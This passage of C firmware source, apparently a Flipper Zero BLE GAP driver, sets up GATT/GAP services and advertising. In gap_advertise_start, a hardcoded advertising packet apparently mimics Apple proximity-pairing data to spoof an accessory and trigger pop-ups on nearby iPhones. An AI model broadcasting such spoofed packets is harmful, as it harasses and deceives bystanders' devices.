srd_bd_addr); 376 | // Set Identity root key used to derive LTK and CSRK 377 | aci_hal_write_config_data(CONFIG_DATA_IR_OFFSET, CONFIG_DATA_IR_LEN, (uint8_t*) gap_irk); 378 | // Set Encryption root key used to derive LTK and CSRK 379 | aci_hal_write_config_data(CONFIG_DATA_ER_OFFSET, CONFIG_DATA_ER_LEN, (uint8_t*) gap_erk); 380 | // Set TX Power to 0 dBm 381 | aci_hal_set_tx_power_level(1, 0x19); 382 | // Initialize GATT interface 383 | aci_gatt_init(); 384 | // Initialize GAP interface 385 | // Skip fist symbol AD_TYPE_COMPLETE_LOCAL_NAME 386 | char *name = gap->service.adv_name + 1; 387 | aci_gap_init( GAP_PERIPHERAL_ROLE, 388 | 0, 389 | strlen(name), &gap->service.gap_svc_handle, &gap->service.dev_name_char_handle, &gap->service.appearance_char_handle); 390 | 391 | // Set GAP characteristics 392 | status = aci_gatt_update_char_value( gap->service.gap_svc_handle, 393 | gap->service.dev_name_char_handle, 394 | 0, 395 | strlen(name), 396 | (uint8_t*) name); 397 | if (status) 398 | { 399 | FURI_LOG_E(TAG, "Failed updating name characteristic: %d", status); 400 | } 401 | 402 | uint8_t gap_appearence_char_uuid[2] = { gap->config->appearance_char &0xff, gap->config->appearance_char >> 8 403 | }; 404 | 405 | status = aci_gatt_update_char_value( gap->service.gap_svc_handle, 406 | gap->service.appearance_char_handle, 407 | 0, 408 | 2, 409 | gap_appearence_char_uuid); 410 | if (status) 411 | { 412 | FURI_LOG_E(TAG, "Failed updating appearence characteristic: %d", status); 413 | } 414 | 415 | // Set default PHY 416 | hci_le_set_default_phy(ALL_PHYS_PREFERENCE, TX_2M_PREFERRED, RX_2M_PREFERRED); 417 | // Set I/O capability 418 | bool keypress_supported = false; 419 | if (gap->config->pairing_method == GapPairingPinCodeShow) 420 | { 421 | aci_gap_set_io_capability(IO_CAP_DISPLAY_ONLY); 422 | } 423 | else if (gap->config->pairing_method == GapPairingPinCodeVerifyYesNo) 424 | { 425 | aci_gap_set_io_capability(IO_CAP_DISPLAY_YES_NO); 426 | keypress_supported = true; 427 | } 428 | 429 | // Setup authentication 430 | aci_gap_set_authentication_requirement( gap->config->bonding_mode, 431 | CFG_MITM_PROTECTION, 432 | CFG_SC_SUPPORT, 433 | keypress_supported, 434 | CFG_ENCRYPTION_KEY_SIZE_MIN, 435 | CFG_ENCRYPTION_KEY_SIZE_MAX, 436 | CFG_USED_FIXED_PIN, 437 | 0, 438 | PUBLIC_ADDR); 439 | // Configure whitelist 440 | aci_gap_configure_whitelist(); 441 | } 442 | 443 | static void gap_advertise_start(GapState new_state) 444 | { 445 | FURI_LOG_E(TAG, "gap_advertise_start"); 446 | 447 | tBleStatus status; 448 | uint16_t min_interval; 449 | uint16_t max_interval; 450 | 451 | if (new_state == GapStateAdvFast) 452 | { 453 | min_interval = 0x80; // 80 ms 454 | max_interval = 0xa0; // 100 ms 455 | } 456 | else 457 | { 458 | min_interval = 0x0640; // 1 s 459 | max_interval = 0x0fa0; // 2.5 s 460 | } 461 | 462 | // Stop advertising timer 463 | furi_timer_stop(gap->advertise_timer); 464 | 465 | if ((new_state == GapStateAdvLowPower) && 466 | ((gap->state == GapStateAdvFast) || (gap->state == GapStateAdvLowPower))) 467 | { 468 | // Stop advertising 469 | status = aci_gap_set_non_discoverable(); 470 | if (status) 471 | { 472 | FURI_LOG_E(TAG, "set_non_discoverable failed %d", status); 473 | } 474 | else 475 | { 476 | FURI_LOG_D(TAG, "set_non_discoverable success"); 477 | } 478 | } 479 | 480 | static 481 | const uint16_t gap_appearance = 0x0000; //GAP_APPEARANCE_UNKNOWN 482 | 483 | status = aci_gatt_update_char_value(gap->service.gap_svc_handle, 484 | gap->service.gap_svc_handle, 485 | 0, 486 | sizeof(gap_appearance), 487 | (uint8_t*) &gap_appearance); 488 | 489 | status = aci_gap_set_discoverable( ADV_IND, 490 | min_interval, 491 | max_interval, 492 | PUBLIC_ADDR, 493 | 0, 494 | 0, NULL, 495 | 0, NULL, 496 | 0, 497 | 0); 498 | status = aci_gap_delete_ad_type(AD_TYPE_FLAGS); 499 | status = aci_gap_delete_ad_type(AD_TYPE_TX_POWER_LEVEL); 500 | 501 | const uint8_t choiceSelection[] = { 502 | 0x1E, 0xFF, 0x4C, 0x00, 0x07, 0x19, 0x05, 0x00, 0x55, 0x10, 0x00, 0x00, 0x01, 0x06, 0xf6, 0x85, 0xda, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 503 | status = aci_gap_update_adv_data(0x1F, choiceSelection); 504 | 505 | gap->state = new_state; 506 | GapEvent event = {.type = GapEventTypeStartAdvertising 507 | }; 508 | 509 | gap->on_event_cb(event, gap->context); 510 | furi_timer_start(gap->advertise_timer, INITIAL_ADV_TIMEOUT); 511 | } 512 | 513 | static void gap_advertise_stop() 514 | { 515 | tBleStatus ret; 516 | if (gap->state > GapStateIdle) 517 | { 518 | if (gap->state == GapStateConnected) 519 | { 520 | // Terminate connection 521 | ret = aci_gap_terminate(gap->service.connection_handle, 0x13); 522 | if (ret != BLE_STATUS_SUCCESS) 523 | { 524 | FURI_LOG_E(TAG, "terminate failed %d", ret); 525 | } 526 | else 527 | { 528 | FURI_LOG_D(TAG, "terminate success"); 529 | } 530 | } 531 | 532 | // Stop advertising 533 | furi_timer_stop(gap->advertise_timer); 534 | ret = aci_gap_set_non_discoverable(); 535 | if (ret != BLE_STATUS_SUCCESS) 536 | { 537 | FURI_LOG_E(TAG, "set_non_discoverable failed %d", ret); 538 | } 539 | else 540 | { 541 | FURI_LOG_D(TAG, "set_non_discoverable success"); 542 | } 543 | 544 | gap->state = GapStateIdle; 545 | } 546 | 547 | GapEvent event = {.type = GapEventTypeStopAdvertising 548 | }; 549 | 550 | gap->on_event_cb(event, gap->context); 551 | } 552 | 553 | void gap_start_advertising() 554 | { 555 | furi_mutex_acquire(gap->state_mutex, FuriWaitForever); 556 | if (gap->state == GapStateIdle) 557 | { 558 | gap->state = GapStateStartingAdv; 559 | FURI_LOG_I(TAG, "Start advertising"); 560 | gap->enable_adv = true; 561 | GapCommand command = GapCommandAdvFast; 562 | furi_check(furi_message_queue_put(gap->command_queue, &command, 0) == FuriStatusOk); 563 | } 564 | 565 | furi_mutex_release(gap->state_mutex); 566 | } 567 | 568 | void gap_stop_advertising() 569 | { 570 | furi_mutex_acquire(gap->state_mutex, FuriWaitForever); 571 | if (gap->state > GapStateIdle) 572 | { 573 | FURI_LOG_I(TAG, "Stop advertising"); 574 | gap->enable_adv = false; 575 | GapCommand command = GapCommandAdvStop; 576 | furi_check(furi_message_queue_put(gap->command_queue, &command, 0) == FuriStatusOk); 577 | } 578 | 579 | furi_mutex_release(gap->state_mutex); 580 | } 581 | 582 | static void gap_advetise_timer_callback(void *context) 583 | { 584 | UNUSED(context); 585 | GapCommand command = GapCommandAdvLowPower; 586 | furi_check(furi_message_queue_put(gap->command_queue, &command, 0) == FuriStatusOk); 587 | } 588 | 589 | bool gap_init(GapConfig *config, GapEventCallback on_event_cb, void *context) 590 | { 591 | if (!ble_glue_is_radio_stack_ready()) 592 | { 593 | return false; 594 | } 595 | 596 | gap = malloc(sizeof(Gap)); 597 | gap->config = config; 598 | // Create advertising timer 599 | gap->advertise_timer = furi_timer_alloc(gap_advetise_timer_callback, FuriTimerTypeOnce, NULL); 600 | // Initialization of GATT &GAP layer 601 | gap->service.adv_name = config->adv_name; 602 | gap_init_svc(gap); 603 | // Initialization of the BLE Services 604 | SVCCTL_Init(); 605 | // Initialization of the GAP state 606 | gap->state_mutex = furi_mutex_alloc(FuriMutexTypeNormal); 607 | gap->state = GapStateIdle; 608 | gap->service.connection_handle = 0xFFFF; 609 | gap->enable_adv = true; 610 | 611 | // Thread configuration 612 | gap->thread = furi_thread_alloc(); 613 | furi_thread_set_name(gap->thread, "BleGapDriver"); 614 | furi_thread_set_stack_size(gap->thread, 1024); 615 | furi_thread_set_context(gap->thread, gap); 616 | furi_thread_set_callback(gap->thread, gap_app); 617 | furi_thread_start(gap->thread); 618 | 619 | // Command queue allocation 620 | gap->command_queue = furi_message_queue_alloc(8, sizeof(GapCommand)); 621 | 622 | uint8_t adv_service_uid[2]; 623 | gap->service.adv_svc_uuid_len = 1; 624 | adv_service_uid[0] = gap->config->adv_service_uuid &0xff; 625 | adv_service_uid[1] = gap->config->adv_service_uuid >> 8; 626 | set_advertisment_service_uid(adv_service_uid, sizeof(adv_service_uid)); 627 | 628 | // Set callback 629 | gap->on_event_cb = on_event_cb; 630 | gap->context = context; 631 | return true; 632 | } 633 | 634 | GapState gap_get_state() 635 | { 636 | GapState state; 637 | if (gap) 638 | { 639 | furi_mutex_acquire(gap->state_mutex, FuriWaitForever); 640 | state = gap->state; 641 | furi_mutex_release(gap->state_mutex); 642 | } 643 | else 644 | { 645 | state = GapStateUninitialized; 646 | } 647 | 648 | return state; 649 | } 650 | 651 | void gap_thread_stop() 652 | { 653 | if (gap) 654 | { 655 | furi_mutex_acquire(gap->state_mutex, FuriWaitForever); 656 | gap->enable_adv = false; 657 | GapCommand command = GapCommandKillThread; 658 | furi_message_queue_put(gap->command_queue, &command, FuriWaitForever); 659 | furi_mutex_release(gap->state_mutex); 660 | furi_thread_join(gap->thread); 661 | furi_thread_free(gap->thread); 662 | // Free resources 663 | furi_mutex_free(gap->state_mutex); 664 | furi_message_queue_free(gap->command_queue); 665 | furi_timer_stop(gap->advertise_timer); 666 | while (xTimerIsTimerActive(gap->advertise_timer) == pdTRUE) furi_delay_tick(1); 667 | furi_timer_free(gap->advertise_timer); 668 | free(gap); 669 | gap = NULL; 670 | } 671 | } 672 | 673 | static int32_t gap_app(void *context) 674 | { 675 | UNUSED(context); 676 | GapCommand command; 677 | while (1) 678 | { 679 | FuriStatus status = furi_message_queue_get(gap->command_queue, &command, FuriWaitForever); 680 | if (status != FuriStatusOk) 681 | { 682 | FURI_LOG_E(TAG, "Message queue get error: %d", status); 683 | continue; 684 | } 685 | 686 | furi_mutex_acquire(gap->state_mutex, FuriWaitForever); 687 | if (command == GapCommandKillThread) 688 | { 689 | break; 690 | } 691 | 692 | if (command == GapCommandAdvFast) 693 | { 694 | gap_advertise_start(GapStateAdvFast); 695 | } 696 | else if (command == GapCommandAdvLowPower) 697 | { 698 | gap_advertise_start(GapStateAdvLowPower); 699 | } 700 | else if (command == GapCommandAdvStop) 701 | { 702 | gap_advertise_stop(); 703 | } 704 | 705 | furi_mutex_release(gap->state_mutex); 706 | } 707 | 708 | return 0; 709 | } --------------------------------------------------------------------------------